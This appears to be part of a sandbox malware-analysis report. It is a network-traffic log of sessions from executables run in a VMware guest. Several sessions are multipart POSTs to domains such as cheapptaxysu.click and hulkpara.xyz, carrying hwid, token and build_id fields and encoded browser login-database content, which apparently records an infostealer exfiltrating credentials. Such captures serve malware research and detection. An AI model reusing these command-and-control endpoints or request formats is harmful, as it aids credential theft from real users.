2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50008	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:00 UTC	374	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D3KXU0BTSCT7RXKBLI8 Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12860 Host: cheapptaxysu.click
2024-12-19 15:11:00 UTC	12860	OUT	Data Raw: 2d 2d 44 33 4b 58 55 30 42 54 53 43 54 37 52 58 4b 42 4c 49 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 33 4b 58 55 30 42 54 53 43 54 37 52 58 4b 42 4c 49 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 33 4b 58 55 30 42 54 53 43 54 37 52 58 4b 42 4c 49 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a Data Ascii: --D3KXU0BTSCT7RXKBLI8Content-Disposition: form-data; name="hwid"83D05E173FB2DB55AC8923850305D13E--D3KXU0BTSCT7RXKBLI8Content-Disposition: form-data; name="pid"2--D3KXU0BTSCT7RXKBLI8Content-Disposition: form-data; name="lid"CZJvss--
2024-12-19 15:11:01 UTC	1137	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0kgom1um7hikqns5r43me1qfh4; expires=Mon, 14 Apr 2025 08:57:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cxbOpbMHHcx4apyZQFfbDgr4zAUwAUTCOYMJymPUgcnB5ZzcRl04nekmWp%2Bu1Fa%2FOFYyW%2FpwH6JgUM6sOv1VNLslA3cN%2FYp6Ht6DSUbLS%2F7HznRNaeVtx0rCZZTtZBRR%2Bp1uu0c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48529e48ec80d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1519&min_rtt=1515&rtt_var=576&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13892&delivery_rate=1885087&cwnd=208&unsent_bytes=0&cid=5fa13e46f499760e&ts=928&x=0"
2024-12-19 15:11:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 15:11:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50011	98.85.100.80	443	7900	C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:01 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 15:11:01 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:01 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 15:11:01 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50016	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:02 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GLFCJE3OP8YUAIWLN7GV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:02 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 4c 46 43 4a 45 33 4f 50 38 59 55 41 49 57 4c 4e 37 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 4c 46 43 4a 45 33 4f 50 38 59 55 41 49 57 4c 4e 37 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 47 4c 46 43 4a 45 33 4f 50 38 59 55 41 49 57 4c 4e 37 47 56 0d 0a 43 6f 6e 74 Data Ascii: ------GLFCJE3OP8YUAIWLN7GVContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------GLFCJE3OP8YUAIWLN7GVContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------GLFCJE3OP8YUAIWLN7GVCont
2024-12-19 15:11:02 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:02 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:02 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:03 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50014	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 32 31 68 66 4d 65 6f 69 45 65 33 61 72 4d 76 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 35 37 61 35 36 62 38 31 30 62 63 31 33 65 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: h21hfMeoiEe3arMv.1Context: 657a56b810bc13e4
2024-12-19 15:11:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
